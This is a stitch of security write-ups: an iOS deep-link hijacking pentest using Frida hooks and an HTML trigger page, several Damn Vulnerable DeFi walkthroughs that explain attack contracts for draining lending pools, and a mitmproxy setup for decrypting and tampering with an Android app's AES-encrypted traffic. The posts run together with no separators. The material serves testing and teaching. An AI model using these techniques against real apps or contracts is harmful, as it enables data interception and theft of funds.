During a recent pentest of an iOS health application (let's call it MedVault), I came across something interesting. The app was using custom URL schemes for deep linking but had no Universal Links implementation in place. This meant that the deep links were completely hijackable. Any malicious app installed on the same device could register the same scheme and intercept links before MedVault ever saw them.

In this article, I'll walk through how I identified and validated this vulnerability using Frida, the PoC I built, the dev team's fix, and why their fix only addressed half the problem.

Custom URL Schemes vs Universal Links

Before diving in, let's quickly understand the difference between the two.

Custom URL Schemes (e.g., medvault://) are the older way of doing deep linking on iOS. Any app can register any scheme. There's no ownership verification. If two apps on the same device register the same scheme, iOS uses a first-come-first-served approach to decide who gets the link. There's no guarantee your app will be the one that receives it.

Universal Links (e.g., https://medvault.com/dashboard) are Apple's secure alternative. They work by hosting an apple-app-site-association (AASA) file on your domain, which cryptographically binds the domain to your app's bundle ID. No other app can claim your links. Period.

The problem? MedVault was using custom URL schemes exclusively and had zero Universal Link support.

Identifying the Vulnerability

While analyzing the app, I noticed it had two custom URL schemes registered:

• medvault://

• com.novahealth.medvault://

To confirm the absence of Universal Links, I used Frida to check for com.apple.developer.associated-domains in the app's entitlements. It wasn't there. The app was relying entirely on these hijackable custom schemes for all its deep linking.

What made this worse was that these schemes could navigate directly into sensitive areas of the app: the dashboard, symptom reporting pages with clinical record IDs, ER report generation, and recording controls. Sensitive parameters like existingSymptomRecordId were being passed through the URL without any source validation.

The Frida PoC

To validate the vulnerability, I wrote a Frida script (frida-url-hijack.js) that hooks into the iOS deep linking internals to monitor exactly what happens when a custom URL is triggered. The script places 5 hooks across the entire URL handling chain. Let me walk through the important ones.

Hooking UIApplication openURL

The first hook catches every URL that the system routes to the app. This is the top-level entry point:

Interceptor.attach(
    ObjC.classes.UIApplication['- openURL:options:completionHandler:'].implementation, {
    onEnter: function(args) {
        var url = ObjC.Object(args[2]).absoluteString().toString();
        console.log('[>] openURL called: ' + url);
    }
});

Hooking the Expo/RN SceneDelegate and AppDelegate

On modern iOS (13+), URL opens go through scene:openURLContexts: on the SceneDelegate. For React Native / Expo apps, we need to hook both EXAppDelegateWrapper and RCTAppDelegate to cover warm launches and the older AppDelegate path:

var sceneClasses = ['EXAppDelegateWrapper', 'RCTRootViewFactory'];
sceneClasses.forEach(function(name) {
    try {
        var cls = ObjC.classes[name];
        if (cls && cls['- scene:openURLContexts:']) {
            Interceptor.attach(cls['- scene:openURLContexts:'].implementation, {
                onEnter: function(args) {
                    var contexts = ObjC.Object(args[3]);
                    var enumerator = contexts.objectEnumerator();
                    var ctx;
                    while ((ctx = enumerator.nextObject()) !== null) {
                        var url = ctx.URL().absoluteString().toString();
                        logURL('scene:openURLContexts: [' + name + ']', url);
                    }
                }
            });
        }
    } catch (e) {}
});

Hooking RCTLinkingManager

This is the critical one for React Native apps. RCTLinkingManager is the bridge that passes URLs from native iOS into the JavaScript layer. Hooking openURL:resolve:reject: shows us every URL that crosses the native-to-JS bridge, and getInitialURL:reject: fires when the app checks what URL launched it (cold start):

var RCTLinking = ObjC.classes.RCTLinkingManager;
if (RCTLinking['- openURL:resolve:reject:']) {
    Interceptor.attach(RCTLinking['- openURL:resolve:reject:'].implementation, {
        onEnter: function(args) {
            console.log('[>] RN Linking.openURL: ' + ObjC.Object(args[2]).toString());
        }
    });
}

Hooking NSNotificationCenter

The last hook catches internal notifications, specifically RCTOpenURLNotification. When React Native broadcasts a URL notification, we intercept it here along with its userInfo dictionary containing the full URL:

Interceptor.attach(
    ObjC.classes.NSNotificationCenter['- postNotificationName:object:userInfo:'].implementation, {
    onEnter: function(args) {
        var name = ObjC.Object(args[2]).toString();
        if (name.indexOf('URL') !== -1 || name.indexOf('Link') !== -1) {
            console.log('[*] Notification: ' + name);
            var info = ObjC.Object(args[4]);
            if (!info.isKindOfClass_(ObjC.classes.NSNull)) {
                console.log('    userInfo: ' + info.toString());
            }
        }
    }
});

Enumerating Schemes and Checking for Universal Links

The script also reads CFBundleURLTypes from the app's Info.plist to enumerate all registered URL schemes, and checks com.apple.developer.associated-domains to determine if Universal Links are configured:

var bundle = ObjC.classes.NSBundle.mainBundle();
console.log('Bundle ID: ' + bundle.bundleIdentifier().toString());

var urlTypes = bundle.objectForInfoDictionaryKey_('CFBundleURLTypes');
if (urlTypes) {
    for (var i = 0; i < urlTypes.count(); i++) {
        var schemes = urlTypes.objectAtIndex_(i).objectForKey_('CFBundleURLSchemes');
        if (schemes) {
            for (var j = 0; j < schemes.count(); j++) {
                console.log('  -> ' + schemes.objectAtIndex_(j).toString() + '://');
            }
        }
    }
}

var domains = bundle.objectForInfoDictionaryKey_('com.apple.developer.associated-domains');
if (!domains) {
    console.log('[!!] NO Universal Links - app uses only custom URL schemes (hijackable)');
}

Complete script can be found here - https://github.com/az0mb13/frida_setup/blob/master/frida-url-hijack.js

attached the script to the running process:

frida -U -n "MedVault" -l frida-url-hijack.js

The Frida output confirmed the hooks were active and displayed all the registered schemes:

[+] Hooked UIApplication openURL:options:completionHandler:
[+] Hooked scene:openURLContexts: on EXAppDelegateWrapper
[+] Hooked application:openURL:options: on EXAppDelegateWrapper
[+] Hooked RCTLinkingManager openURL:resolve:reject:
[+] Hooked RCTLinkingManager getInitialURL:
[+] Hooked NSNotificationCenter (URL filter)

╔══════════════════════════════════════════════════╗
║  URL SCHEME HIJACK PoC - HOOKS ACTIVE            ║
╚══════════════════════════════════════════════════╝

Bundle ID: com.novahealth.medvault
Registered URL schemes:
  -> medvault://
  -> com.novahealth.medvault://

[!!] NO Universal Links - app uses only custom URL schemes (hijackable)

Open Safari on device and type:
  medvault://prepped/dashboard
  medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337

Waiting...

Triggering the Deep Links

I created a simple HTML page to trigger the deep links from Safari on the device:

<!DOCTYPE html>
<html>
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>URL Scheme Hijack PoC</title>
</head>
<body>
    <h2>URL Scheme Hijack PoC</h2>
    <p>Tap any link below. If MedVault opens, the scheme is active and hijackable.</p>

    <a href="medvault://prepped/dashboard">
        medvault://prepped/dashboard
    </a>
    <a href="medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337">
        medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337
    </a>
    <a href="medvault://prepped/er_reporting/generate_report">
        medvault://prepped/er_reporting/generate_report
    </a>
    <a href="com.novahealth.medvault://prepped/end_recording/upload_completed_page">
        com.novahealth.medvault://prepped/end_recording/upload_completed_page
    </a>
    <a href="medvault://prepped/end_recording/user_initiated">
        medvault://prepped/end_recording/user_initiated
    </a>
</body>
</html>

Opening this page in Safari and tapping any link immediately opened MedVault and navigated to the corresponding screen. The Frida output showed the full URL flowing through every layer, from the native iOS SceneDelegate, through the Expo AppDelegate wrapper, and finally into the React Native JavaScript layer via RCTOpenURLNotification. All without any source validation:

[>] openURL called: medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337

╔══════════════════════════════════════════════════╗
║  URL SCHEME HIJACK PoC - INTERCEPTED (warm)      ║
╚══════════════════════════════════════════════════╝
──────────────────────────────────────────────────
[scene:openURLContexts: [EXAppDelegateWrapper]] 2026-03-12T14:22:08.431Z
  URL:    medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337
  Scheme: medvault
  Host:   prepped
  Path:   /symptoms/symptom_reporting
  Query:  existingSymptomRecordId=1337
  Param:  existingSymptomRecordId = 1337
──────────────────────────────────────────────────

╔══════════════════════════════════════════════════╗
║  URL SCHEME HIJACK PoC - INTERCEPTED (app delegate) ║
╚══════════════════════════════════════════════════╝
──────────────────────────────────────────────────
[application:openURL: [EXAppDelegateWrapper]] 2026-03-12T14:22:08.433Z
  URL:    medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337
  Scheme: medvault
  Host:   prepped
  Path:   /symptoms/symptom_reporting
  Query:  existingSymptomRecordId=1337
  Param:  existingSymptomRecordId = 1337
──────────────────────────────────────────────────

[*] Notification: onURLReceived
    userInfo: {
        url = "medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337";
    }
[*] Notification: RCTOpenURLNotification
    userInfo: {
        url = "medvault://prepped/symptoms/symptom_reporting?existingSymptomRecordId=1337";
    }

The output clearly shows the URL hitting five different hooks across the iOS and React Native stack. The existingSymptomRecordId=1337 parameter is visible in plaintext at every layer. Notice how the URL passes from the native SceneDelegate straight into the RN bridge via RCTOpenURLNotification. There's no validation, no sanitization, no check on where the URL came from. Whatever you pass in the scheme, the app blindly consumes it.

In a real attack scenario, any installed app on the device could trigger these URLs programmatically to manipulate MedVault. No user interaction with a webpage required.

Impact

• Account/Data Hijacking: A malicious app on the same device can register the same scheme, "win" the URL broadcast, and capture all the parameters silently.

• Information Leakage: Internal record IDs and routing paths are directly exposed through the URL parameters.

• Phishing & Redirection: An attacker can craft links that force-navigate the user into specific app states or present fake login screens to harvest credentials.

The Dev's Fix (and Why It Was Incomplete)

The dev team added a +native-intent.tsx file with redirectSystemPath() returning /. This makes Expo Router redirect every external URL open to the root route, killing all deep link navigation. Their reasoning: no flow actually uses these deep links, Expo just auto-registers the schemes, so redirect everything to root and call it a day.

This handles the inbound side. An attacker can no longer force-navigate users into sensitive screens. But the schemes are still registered, which means the interception side is wide open.

Since medvault:// is a custom URL scheme (not a Universal Link), a malicious app can register the same scheme and intercept links before MedVault ever sees them. Imagine a user has both apps installed. Something triggers a medvault:// link from a webpage or QR code, and iOS routes it to the malicious app instead. That app now has the full URL with all the parameters. The redirectSystemPath() fix is irrelevant here because MedVault never received the link in the first place.

If the schemes aren't needed, remove them. Setting "scheme": [] in app.json / app.config.js suppresses Expo's auto-registration entirely. That actually closes the door rather than just redirecting what comes through it.

Mitigations

• Remove unused URL schemes. If your app doesn't need custom URL schemes, don't register them. For Expo apps, set "scheme": [] in your config to suppress auto-registration.

• Use Universal Links. If you need deep linking, use Apple's Universal Links with an apple-app-site-association file hosted on your domain. This cryptographically binds links to your app's bundle ID and prevents interception by other apps.

• Validate all deep link input. Never trust parameters received through URL schemes. Sanitize and validate everything before processing. Treat deep link parameters the same way you'd treat user input from an untrusted source, because that's exactly what they are.

• Don't pass sensitive data in URLs. Record IDs, session tokens, or any PII should never flow through deep link parameters. Use them for navigation intent only, and resolve sensitive data server-side after authentication.

Takeaways

• Custom URL schemes on iOS are inherently insecure. They have no ownership verification and are trivially hijackable by any app on the same device.

• Frida is incredibly powerful for validating deep linking behavior in real-time. Hooking NSNotificationCenter and RCTLinkingManager gives you complete visibility into how URLs flow through a React Native app.

• Developer fixes that only address one direction of an attack can create a false sense of security. Always think about both the inbound side (what happens when your app receives a link) and the interception side (what happens when another app receives a link meant for yours).

• If a feature exists only because your framework auto-registers it and no flow depends on it, the correct fix is to remove it, not to build guardrails around something that shouldn't exist in the first place.

There's a pool as always, and it offers flash loans of DVT tokens. There's also a governance mechanism that controls the pool.

The initial token supply is 2 million, and the pool has 1.5 million DVT. We have 0. Our goal is to drain the pool. Let's get started.

Smart Contract Analysis

SelfiePool.sol

The DVT token being used is an ERC20 Snapshot token that can be used to take snapshots at a certain point in time to record the balances.

There are two important functions here:

• flashLoan() is the same thing that we have seen in the last few contracts, users can take flash loans for free, it calls a receiveTokens() function in their contract to handle the tokens and repay them back to the pool.

• drainAllFunds() drains all the tokens from the pool which we need to do, but notice the onlyGovernance modifier, it only allows the Governance contract (address(governance)) to call the function. This gives us a hint that we somehow need to make the Governance contract call this function for us.

SimpleGovernance.sol

Let's now take a look at the Governance contract. There are two external functions that can be called by anyone:

• queueAction() : This function is used to propose actions/changes to the contract if enough votes allow them to. to check enough votes, the function calls:

  • _hasEnoughVotes() : This function fetches the balance of the last snapshot assuming a snapshot is already taken, calculates the total token supply at the last snapshot, and compares both of them. It returns true if the caller's balance is greater than total token supply / 2. This means the caller must own at least 1 million + 1 token to bypass this check. (Since the token's initial supply is 2 million)

• The data is stored in a struct and an actionId is returned.

• executeAction() : Once the action has been proposed and stored, this function is used to execute the action based on the actionId that was returned.

  • It calls _canBeExecuted() which makes sure that the action has not already been executed, and that there's a sufficient delay after proposing the action. (2 days)

• Once all the validations pass, it makes a functionCallWithValue() with the bytes data that we stored in the action along with some Wei to the receiver's address which we also stored in the action.

The Exploit

The above analysis shows that if we can get our action to store and execute, we should be able to make the governance contract make an external call to the SelfiePool and make it drain the tokens for us. We can always take a flash loan from the pool to get enough tokens to pass the validation in _hasEnoughVotes(). Let's write the attacker's contract.

After initializing all the addresses, we have defined 3 functions:

• attack() : This is responsible for triggering the flashLoan() with at least 1 million + 1 token. We'll just take a loan for the complete amount in the pool, i.e., 1.5 million DVT.

• The flow comes back to our other function, receiveTokens() where the attack starts:

  • ITokenSnapshot(token).snapshot(); : We have to first take a snapshot because otherwise, the transaction will fail inside _hasEnoughVotes() since it needs an already created snapshot to fetch balances from.

  • We are calling gov.queueAction with the receiver as the pool's address, since it'll be making a function call to the pool to drain the tokens. The second parameter is the bytes encoded data: abi.encodeWithSignature("drainAllFunds(address)", attacker). It contains the encoded function signature with the argument as the attacker's address since we need to get all the funds to our attacker from the pool.
    The weiAmount can be 0 since it's not needed by the drainAllFunds() function.
    The return value is stored in a storage parameter actionId because it'll be needed again to execute the action.

  • Once we are able to propose the action, we transfer the tokens back to the pool on Line 54 since we took a flash loan.

• After 2 days have passed, we can make a call to the execute() function to call executeAction() which executes the action, drains all the pool funds, and transfers them to the attacker's address.

Here's how the test case looks:

We deploy the attacker's contract and call the attack() function to borrow TOKENS_IN_POOL (1.5 million) DVT tokens.

We then use evm_increaseTime to fast forward 2 days and then call the execute() function to finish the exploit.

Run the script using yarn run selfie and the test case will pass.

Key Takeaways

There are multiple issues with these contracts. The key ones are:

• Critical functions such as voting proposals should account for tokens coming through flash loans.

• The function to create snapshots should be behind proper access controls.

• Creating your own Governance requires a lot of thorough testing and diligence which is why it is recommended to use OpenZeppelin's Governor.

There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it. There are 4 other participants who have already deposited some tokens and claimed their rewards.

We need to claim the most rewards for ourselves in the next round but we don't have any DVT tokens to deposit. There's also a lending pool offering free flash loans. Maybe we can use that to start our attack? Let's dive in.

Smart Contract Analysis

Let's start with the smaller contracts first.

RewardToken.sol: This looks like just another ERC20 token contract with a MINTER_ROLE, a privileged role to mint new tokens and the DEFAULT_ADMIN_ROLE. Both of them are assigned to the deployer, i.e., msg.sender. No issues here.

FlashLoanerPool.sol: This is just a lending pool that defines DVT as liquidityToken and assigns it the right address in the constructor. It also has a flashLoan() function that we can call to take loans for DVT tokens that can be used in our further attack. We also need to define a function in our attacker's contract called receiveFlashLoan() that will handle tokens and repayment.

AccountingToken.sol: This is another ERC20 token contract but it's a snapshot. This means that its balances can be stored for a certain period for accounting. There are various privileged roles that control the minting and burning functions. Transfers are prohibited and are reverted since they are not needed. The function to take a snapshot has a SNAPSHOT_ROLE.

TheRewarderPool.sol: This is the main contract that we have to exploit. Let's take a look at the code in detail.

• REWARDS_ROUND_MIN_DURATION shows that a round lasts for 5 days.

• deposit() : The deposit function is used to deposit DVT into the pool, the pool mints the same amount of accounting tokens (rTKN) to the caller, calls distributeRewards() , and then calls transferFrom() to transfer the DVT from the caller to the pool. The caller should have already approved the pool for the amount of tokens for the transferFrom() function to work.

• distributeRewards() : This function is checking if it's a new reward round by adding the time of the last reward round and the 5 days delay. If it is, then it's recording a new snapshot for the new round. Then based on the caller's Accounting Token balance and the total number of Accounting Tokens in circulation (deposits by other users) at the last snapshot ID, it mints the Reward Tokens for the caller. This shows that the total rewards can be affected if other users deposit into the contract before our attacker because then the reward amount will be divided.

• withdraw() : This function burns the Account Token and transfers the same amount of DVT tokens back to the caller.

• _recordSnapshot() : It is just recording a new snapshot and increasing the round number.

• _hasRetrievedReward() : This function is just to check if the user has already retrieved a reward or not for that round.

• isNewRewardsRound() : It returns true if the round is a new reward round based on the last snapshot time + 5 days.

The Exploit

The exploitation looks quite simple. Here's what we need to do to get the most rewards from the pool:

• Call the flashLoanerPool.flashLoan() to take a loan for the maximum DVT tokens in the pool.

• The flow will be redirected to our function receiveFlashLoan() with the amount of tokens received from the loan.

• We'll then approve the DVT for the rewarderPool so that they can be transferred.

• We'll call rewarderPool.deposit() to deposit the DVT into the pool for which we'll get accounting tokens.

• TheRewarderPool's deposit() function will call the distributeRewards() function. At this point, we must make sure that we are the only ones to deposit into the pool to claim the maximum reward.

  • This means we need to make sure that it's a new round, i.e., at least 5 days have passed since the last round. We'll be using evm_increaseTime in our test case to achieve this.

  • There's no validation that checks for how long a user has deposited their DVT tokens which will allow us to deposit and withdraw almost immediately to claim the maximum rewards for that round.

• Once we get the rewards minted to our contract, we are transferring them to the attacker's address on Line 59.

• We are calling the withdraw() on Line 60 to get back the DVT tokens by burning Accounting Tokens.

• Then on Line 61, the loaned amount is sent back to the lending pool for the flash loan that we took to start the attack.

Here's how the test case will look:

We are deploying our attacker contract, increasing the time by 5 days so a new round can start and immediately calling the exploit() to start the attack.

Run the script using yarn run the-rewarder and the test case will pass.

Key Takeaways

• These type of reward-generating pools should incentivize users for how long they stake their tokens in the pool, rather than allowing them to withdraw immediately and calculating rewards based on that.

A lending pool allows users to deposit and withdraw ETH. It also offers flash loans for free. The pool has 1000 ETH in balance and we start with 1 ETH. Our objective is to drain the pool.

Smart Contract Analysis

SideEntranceLenderPool.sol

• function deposit() allows users to deposit ETH into the pool which is added to their balances mapping.

• function withdraw() allows users to withdraw their own balance that they have deposited. The balances mapping is checked for the amount to withdraw.

• function flashLoan() is used to request a free flashloan.

It's all pretty straightforward, isn't it? So how do we drain the 1000 ETH from the pool?

The Exploit

This contract is vulnerable to the classic Re-entrancy bug. The issue is also on Line 35 require() validation. It is only making sure that the balance of the pool after calling the execute() is greater than the balanceBefore stored on Line 30.

On Line 33, the flow of the contract is in the attacker's control. What this means is that when we receive control inside our own execute() function, we can call the deposit() function to deposit the loaned amount back to the pool.
The pool will update its balance and the validation

address(this).balance >= balanceBefore

will return true because the pool only checks if its total balance is updated. It does not account that the ETH was deposited by the attacker using a different function, and therefore, the attacker will be able to call the withdraw() function to take out all the ETH from their balance.

Let's make a contract to exploit the whole thing.

• The function exploit() calls the pool.flashLoan() to start the attack.

• The flashLoan() function calls IFlashLoanEtherReceiver(msg.sender).execute{value: amount}(); which sends the control flow back to our contract's receive() function since our contract is msg.sender for this transaction, along with the loaned amount.

• The function execute() calls pool.deposit() and deposits the loaned amount back into the pool, but also updates the balances mapping so that we can withdraw.

• flashLoan()'s require() validation returns true, the flow is again returned to our contract's exploit() function and it calls pool.withdraw() to withdraw all the deposited ETH by our AttackerContract which is received by the receive() function that we have implemented.

• It again calls attacker.transfer() to transfer all the ETH back into our deployer account, finishing the exploit.

Let's write the test case for this:

It just deploys our AttackerContract, connects to it via the attacker account, and calls exploit() function with the total ETH owned by the pool as the argument.

Run the script using yarn run side-entrance and the test case will pass.

Key Takeaways

• This could have been easily prevented by using OpenZeppelin's Re-entrancy Guard, or the nonReentrant modifier on the deposit() function.

• When you're handling balances inside multiple functions, make sure that all of them account for the ETH/tokens received via other functions.

There's a lending pool with a million DVT tokens. This pool offers a flash loan for free. But as it is with all flash loans, the user must pay back the loan in the same transaction.

Our objective is to drain all the funds from the lending pool and empty the contract. Let's get started.

Smart Contract Analysis

TrusterLenderPool.sol

The only function of interest here is the flashLoan(). Let's go over the content.

• balanceBefore is used to store the current balance of the pool which is then validated again on Line 39 to make sure that the user returns the loaned token.

• There's a transfer call on Line 35 in which the loan is offered to the borrower.

• On line 36, there's an interesting external call - target.functionCall(data);. The functionCall() is a function coming from OpenZeppelin's Address.sol. This is calling another internal function called `functionCallWithValue()`.

  • If you look inside the function definition, you'll notice that it is just a normal call() function on the target address, i.e., target.call{value: value}(data); . This means that when the user calls the flashLoan() function, the lender contract makes an external call to the target address with our custom data passed as an argument. This paves the way for exploitation.

The Exploit

Now that we know we can make the lender pool call arbitrary functions on the target address, imagine what would happen if we were to pass the target as the address of the lender pool's token itself? We don't see any validation happening in the flashLoan() function. This would essentially allow us to call any function inside the lender pool and its ERC interfaces in the context of the pool.

Now, to transfer all the tokens from the pool, there's a function called approve(spender, amount) in the ERC20 standard. This function is used to allow the spender to spend the amount tokens owned by the caller.

Since we can make the lender pool call any function, we will be using the exploit to make it call the approve() with our attacker's address and the maximum amount in the lending pool.

Once the tokens are approved by the lender, we can simply withdraw the tokens by calling transferFrom(), yet another ERC20 function.

• borrowAmount will be 0 since we don't want to pay back anything.

• borrower will be our attacker's address.

• target will be the address of the damnValuableToken.

• data will contain the ABI-encoded data containing the function signature and values to call on the target contract. We will be making use of abi.encodeWithSignature for this.

We'll make an attacker contract so that the exploit happens in a single transaction.

This contract code can be placed just below the TrusterLenderPool contract code. In the attacker contract:

• The constructor is handling the pool and token address which we'll pass from inside the test file.

• The attack function is storing the total pool balance inside poolBalance.

• On line 12, pool.flashLoan is called with all the parameters specified above. This will make the lender pool approve poolBalance tokens for our attacker contract.

• On line 22, the approved tokens are transferred back to our contract completing the attack in a single transaction.

Here's how the test case will look:

Lines 4 and 5 are handling our contract deployment and on line 6 we are calling the attack() function that we created to exploit the lending pool.

Run the script using yarn run truster and the test case will pass.

Key Takeaways

• It's a bad idea to pass user-controlled input directly to function call data without validation.

• Do not allow 0 amount in flash loans.

• There should have been validations on the target address to prevent users from using the token or pool's address.

There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.

A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.

Our objective is to empty the user's contract and drain all the ETH, and bonus points if we can do it in a single transaction.

Smart Contract Analysis

NaiveReceiverLenderPool.sol

• flashLoan()

  This function takes the address of the borrower as input along with the borrow amount and offers a flashloan.

  • functionCallWithValue() - This is an external call to the borrower address provided by us which will call the receiveEther() function inside the user's FlashLoanReceiver.sol contract.

FlashLoanReceiver.sol

• receiveEther()

  This function receives the Ether sent by the flash loan.

  • amountToBeRepaid is calculated by adding the fee (1 ETH) to the msg.value.

  • _executeActionDuringFlashLoan(); is called which is an empty dummy function.

  • Then the sendValue is called on the lending pool. This function originates from the Address.sol imported by the contract. It repays the loan back to the pool and the transaction is completed.

The Exploitation

The vulnerability lies in the flashLoan() function inside the lender pool. There's no validation happening inside the function to make sure that the borrower is msg.sender. Without this, any external attacker would be able to enter any user's address as the borrower and request a flash loan for them.

If the function is called once, i.e., flashLoan(FlashLoanReceiver_address, 0) it'll drain 1 Ether fee from the Receiver. To drain all the balance, we must call this function 10 times. This can be achieved by using the following code in the test case:

But this is not efficient, neither is this in a single transaction. To do this in one transaction, we can make use of loops. Here's a better solution:

This calls the flashLoan() function 10 times with 0 borrow amount, which charges a fee of 1 Ether in every flash loan call, eventually draining the flash loan receiver.

Run the script using yarn run naive-receiver and the test case will pass.

Key Takeaways

Input validation and access control should be the utmost priority when implementing any sensitive function dealing with tokens or Ether. The attack would have been prevented had there been a validation on the borrower's address like require(borrower == msg.sender);.

This level involves a Lending Pool that contains a million DVT tokens. This pool also offers flash loans without any fee. Our job is to attack the pool and stop it from issuing flash loans. Our user (attacker) is given 100 DVT tokens to start with.

Smart Contract Analysis

UnstoppableLender.sol

There are two interesting functions here as shown below:

1. depositTokens()

   This function is used to receive DVT tokens and update the poolBalance with the amount of tokens received. Anyone can send DVT as long as they are sending > 0 tokens. Nothing suspicious here.

2. flashLoan()

   This function is used to request flash loans.

   • The parameter balanceBefore is storing the current balance in the contract.

   • The assert statement on L19 makes sure that the poolBalance is equal to the balanceBefore.

   • If the previous validations return true, the rest of the flash loan process is executed.

The Exploitation

The vulnerability lies in L19's assertion. Note that the function is validating a state variable poolBalance with the current contract's balance. This validation can easily be broken because there are multiple ways to deposit tokens in the contract. Once poolBalance becomes less than balanceBefore, this assert will return false and the flashLoan() function will break.

To exploit this, we won't be calling the depositTokens() because it'll just update the value of poolBalance . Since the contract is using an ERC20 token, there's another function called transfer() that does just that. It'll help us transfer the tokens from our account to the contract, and the contract won't be updating the poolBalance value.

Here's the solution which can be used inside the test script provided

• this.token.connect(attacker) is used to connect as an attacker account which is defined above in the script.

• transfer(this.pool.address, 1) is used to transfer 1 DVT from the attacker's account to the pool's address.

Run the script using yarn run unstoppable and the test case will pass.

Key Takeaways

• Strict equality checks with tokens or Ether on sensitive functions are a bad idea because the contract can be force-fed tokens/Ether externally.

Mobile applications are becoming more resilient to reverse engineering and tampering with all kinds of client and server-side protections, binary hardening, code obfuscations, SSL pinning, etc which makes it that much more difficult for good or bad hackers to dig deeper into these applications.

Let's say the attacker manages to bypass the SSL Pinning and Root detection and using Burp Suite or any intercepting proxy, they are able to monitor all the requests. What are the developers supposed to do in this case to hide their API implementation from end users?

This is where some recent applications have been found encrypting their traffic client-side and sending it to the server where it's decrypted and analyzed. This minimizes the possibility of injections given that proper client-side input validations are implemented in the application. The attacker won't be able to see plaintext traffic in their proxy, and thus, won't be able to modify the endpoints and parameters.

In this article, I'll be talking about one such android application which our team at CredShields was working on, that was using AES/CBC/PKCS5Padding to encrypt its traffic, which was then decrypted on their server, making the traffic completely gibberish to an intercepting proxy, and the technique I used to decrypt and bypass the encryption.

Source Code Analysis

It was evident from the request that the application was encrypting the request body using some kind of encryption technique and sending it to the server. Here's how a sample request looks:

The POST body was in the following format - data=AESEncryptedData:IV

So the encryption part was happening somewhere inside the APK. It is generally a good idea to have the application decompiled at this stage to analyze the source code. I use jadx-gui for this.

Let's call the app victim.apk. While going through the source code I noticed that it was not obfuscated, making my job much easier. I thought about searching for the keyword encrypt to look for any functions that are being used for the encryption. There were many results but a particular function caught my eye because it was inside the application's folder itself and the file name (AES) kind of gave it away.

I opened the file com/victim.app/utils/Java_AES_Cipher which confirmed my assumptions. It was indeed the code for encrypting and decrypting strings using AES/CBC/PKCS5Padding .

I won't be going into the details of how the AES encryption works (Google is your friend). From the code, it is clear that the function encrypt() is taking 3 string type parameters as arguments. Now to find all the places where the function is used, the shortcut key x can be used in jadx-gui. This lists out all the instances where the function is called. From the function call, the parameters become clear:

So the encrypt() function is using a key and an iv to encrypt the data inside jSONObject2. This data is then sent to the server. The key and iv are being fetched from the BaseMethod class. Now, if you are really lucky, 1/10 times you will find the key and iv values hardcoded in the APK, as I did inside com/victim.app/base/BaseMethod

By now, I had all the things I needed to decrypt the traffic. I could even do it manually on this website. But decrypting the traffic, modifying it on my side, and then encrypting it again to send to the server was too much of a hassle. The challenge was automating this part.

The Chained Proxies

If you're not already familiar with this powerful tool, let me introduce you to Mitmproxy. This thing can execute python scripts on the ongoing traffic and make changes to the requests dynamically.

For the complete flow to work, I'll be using 3 proxy servers - Mitmproxy-1, Burp, and Mitmproxy-2, which will then forward the request to its final destination.

The Flow

1. The victim app will send encrypted AES traffic to my Mitmproxy-1.

2. Mitmproxy-1 will listen to my requests in upstream mode, execute my python script to decrypt AES traffic, and send the plaintext JSON object to Burp.

3. Burp will see all the traffic as it should, in plaintext where I'll be able to tamper with everything, and once I submit the requests, it'll go to Mitmproxy-2 since Burp will be set to forward all requests to Mitmproxy-2.

4. Mitmproxy-2 will execute my python script to encrypt the traffic and send it to the application's server and the response returned will be seen in my Burp.

Python Scripts

Mitmproxy-1

Mitmproxy-1 will be using the following script to intercept the traffic, decrypt it, and send it to the Burp:

from mitmproxy import http
from urllib.parse import quote, unquote
from Crypto.Cipher import AES
from base64 import b64decode
from Crypto.Util.Padding import pad, unpad

iv = bytes("verysecretkey", 'utf-8')
key = bytes("verysecretiv", 'utf-8')

def request(flow: http.HTTPFlow) -> None:
    #if host matches the victim
    if flow.request.host == "victim.com":
        post_body = (flow.request.content).decode('utf-8')
        #do voodoo magic to decode the data=AESEncodeddata:IV 
        to_decrypt = unquote(post_body.split("=")[1]).split(":")[0].replace("\n","")
        #send decrypted data
        flow.request.content = decrypt(to_decrypt)

#function to decrypt AES
def decrypt(message):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = unpad(cipher.decrypt(b64decode(message)), AES.block_size)
    return decrypted

This script is intercepting the traffic for the domain victim.com, splitting the POST data and extracting only the AES-encrypted POST body which is then set as the new content and sent to Burp Suite.

Mitmproxy-2

from mitmproxy import http
from urllib.parse import quote, unquote
from Crypto.Cipher import AES
from base64 import b64encode
from Crypto.Util.Padding import pad, unpad

#keys
iv = bytes("verysecretkey", 'utf-8')
key = bytes("verysecretiv", 'utf-8')

def request(flow: http.HTTPFlow) -> None:
    #if host matches
    if flow.request.host == "victim.com":
        print(flow.request.host)
        post_body = (flow.request.content).decode('utf8')
        #encrypting data coming from Burp
        edata = quote(encrypt(post_body))
        #appending IV to the request as it was originally done 
        prefix = quote(":") + quote(b64encode(iv))
        #final POST body
        to_send = "data=" + edata + prefix
        #send to server
        flow.request.content = bytes(to_send, 'utf-8')

#function to encrypt AES
def encrypt(message):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(pad(message.encode("UTF-8"), AES.block_size))
    return (b64encode(encrypted).decode('utf-8'))

This script intercepts the plaintext traffic coming from Burp, extracts the POST body, encrypts it, appends IV, base64 encodes the whole thing, and sends it to the victim server.

Everything in Action

I started by installing Mitmproxy's SSL certificate on my android device. This process is similar to what you do with Burp Suite. A detailed guide for mitmproxy is available here.

I configured a proxy on my android device to forward all traffic to my device's IP (192.168.xx.xx) and port 8080.

Once that was done, I started my first proxy listener in upstream mode which listens on port 8080 and forwards all traffic to http://127.0.0.1:7070 using the following command:

mitmproxy --mode  upstream:http://127.0.0.1:7070 --ssl-insecure -s mitm_to_burp.py

I configured Burp to listen on port 7070 on all interfaces. I also enabled upstream proxy in Burp to forward all traffic to port 8082:

I started another Mitmproxy instance to listen on port 8082 for the traffic coming from Burp with the following command:

mitmproxy --listen-port 8082 -s burp_to_mitm.py

